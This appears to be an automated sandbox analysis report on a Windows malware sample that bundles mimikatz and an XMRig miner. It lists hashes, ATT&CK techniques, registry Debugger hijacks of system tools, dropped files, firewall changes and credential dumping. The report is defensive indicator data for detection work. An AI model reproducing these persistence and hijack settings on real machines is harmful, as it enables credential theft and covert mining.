mimikatz | 800214865a5a87e5bcf09f8f7d6daee7c93926afd241111612486768ebde6ab3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-01-2025 02:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
Size

7.4MB
MD5

e5486dcf3693cdc92bc25a159420f058
SHA1

73bc52bf2a88be386cba6c79ea34c1d14c13301c
SHA256

800214865a5a87e5bcf09f8f7d6daee7c93926afd241111612486768ebde6ab3
SHA512

2fac23e44dac521803a1e98ca79938e4046229aa73ee274cf7c65f3b2c53e6da09d8aba7f3040c64a0fd0589a53825da2c0964d7682f0cba42eb5bdadda52412
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2136 created 2108	2136	ysyeeye.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30573) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/2212-182-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-186-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-204-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-217-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-223-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-235-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-250-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-292-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-293-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-342-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-343-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig
behavioral2/memory/2212-347-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/776-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/776-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000b000000023b64-6.dat	mimikatz
behavioral2/memory/5068-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4504-138-0x00007FF6FC410000-0x00007FF6FC4FE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	ysyeeye.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	ysyeeye.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	ysyeeye.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	ysyeeye.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	ysyeeye.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2764	netsh.exe
744	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
5068	ysyeeye.exe
2136	ysyeeye.exe
4644	wpcap.exe
4300	nimusahes.exe
4504	vfshost.exe
1272	sbgiuuhde.exe
4588	xohudmc.exe
4556	varpws.exe
2212	rniyyi.exe
2448	sbgiuuhde.exe
520	ysyeeye.exe
1088	sbgiuuhde.exe
5060	sbgiuuhde.exe
1416	sbgiuuhde.exe
452	sbgiuuhde.exe
2312	sbgiuuhde.exe
1116	sbgiuuhde.exe
412	sbgiuuhde.exe
3852	sbgiuuhde.exe
3248	sbgiuuhde.exe
4772	sbgiuuhde.exe
1612	sbgiuuhde.exe
3644	sbgiuuhde.exe
4112	sbgiuuhde.exe
2788	sbgiuuhde.exe
4720	sbgiuuhde.exe
3624	sbgiuuhde.exe
2496	rgiaeelul.exe
3216	ysyeeye.exe

Loads dropped DLL 12 IoCs

pid	Process
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4644	wpcap.exe
4300	nimusahes.exe
4300	nimusahes.exe
4300	nimusahes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
66	ifconfig.me
67	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	ysyeeye.exe
File created	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	ysyeeye.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	ysyeeye.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	ysyeeye.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	ysyeeye.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0008000000023c02-134.dat	upx
behavioral2/memory/4504-136-0x00007FF6FC410000-0x00007FF6FC4FE000-memory.dmp	upx
behavioral2/memory/4504-138-0x00007FF6FC410000-0x00007FF6FC4FE000-memory.dmp	upx
behavioral2/files/0x0008000000023c3b-141.dat	upx
behavioral2/memory/1272-142-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/1272-155-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/files/0x0016000000023c35-163.dat	upx
behavioral2/memory/2212-165-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2448-171-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/1088-179-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-182-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/5060-184-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-186-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/1416-189-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/452-194-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2312-198-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/1116-202-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-204-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/412-207-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/3852-211-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/3248-215-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-217-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/4772-220-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-223-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/1612-225-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/3644-229-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/4112-232-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2788-234-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-235-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/4720-237-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/3624-239-0x00007FF6DD7C0000-0x00007FF6DD81B000-memory.dmp	upx
behavioral2/memory/2212-250-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2212-292-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2212-293-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2212-342-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2212-343-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx
behavioral2/memory/2212-347-0x00007FF64D2E0000-0x00007FF64D400000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\siltueee\ysyeeye.exe	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
File created	C:\Windows\bgysuulnn\UnattendGC\schoedcl.xml	ysyeeye.exe
File created	C:\Windows\siltueee\spoolsrv.xml	ysyeeye.exe
File created	C:\Windows\siltueee\schoedcl.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\vimpcsvc.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\docmicfg.xml	ysyeeye.exe
File created	C:\Windows\siltueee\vimpcsvc.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\AppCapture64.dll	ysyeeye.exe
File created	C:\Windows\ime\ysyeeye.exe	ysyeeye.exe
File opened for modification	C:\Windows\bgysuulnn\Corporate\log.txt	cmd.exe
File created	C:\Windows\bgysuulnn\UnattendGC\Shellcode.ini	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\tucl-1.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\docmicfg.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\nimusahes.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\exma-1.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\trch-1.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\trfo-2.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\svschost.xml	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\schoedcl.xml	ysyeeye.exe
File opened for modification	C:\Windows\bgysuulnn\sbbfgiqug\Result.txt	rgiaeelul.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\rgiaeelul.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\ucl.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\xdvl-0.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\svschost.xml	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\vimpcsvc.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\ip.txt	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\ysyeeye.exe	2025-01-13_e5486dcf3693cdc92bc25a159420f058_hacktools_icedid_mimikatz.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\posh-0.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\docmicfg.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\upbdrjv\swrpwe.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\scan.bat	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\libeay32.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\tibe-2.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\schoedcl.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\AppCapture32.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\Packet.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\coli-0.dll	ysyeeye.exe
File opened for modification	C:\Windows\bgysuulnn\sbbfgiqug\Packet.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\wpcap.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\cnli-1.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\crli-0.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\spoolsrv.xml	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\spoolsrv.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\libxml2.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\schoedcl.xml	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\svschost.xml	ysyeeye.exe
File opened for modification	C:\Windows\siltueee\docmicfg.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\Corporate\mimidrv.sys	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\ssleay32.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\svschost.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\spoolsrv.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\Corporate\vfshost.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\Corporate\mimilib.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\spoolsrv.xml	ysyeeye.exe
File created	C:\Windows\siltueee\svschost.xml	ysyeeye.exe
File created	C:\Windows\bgysuulnn\sbbfgiqug\wpcap.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\zlib1.dll	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\vimpcsvc.exe	ysyeeye.exe
File created	C:\Windows\bgysuulnn\UnattendGC\specials\vimpcsvc.xml	ysyeeye.exe
File created	C:\Windows\siltueee\docmicfg.xml	ysyeeye.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
660	sc.exe
2120	sc.exe
1652	sc.exe
2012	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
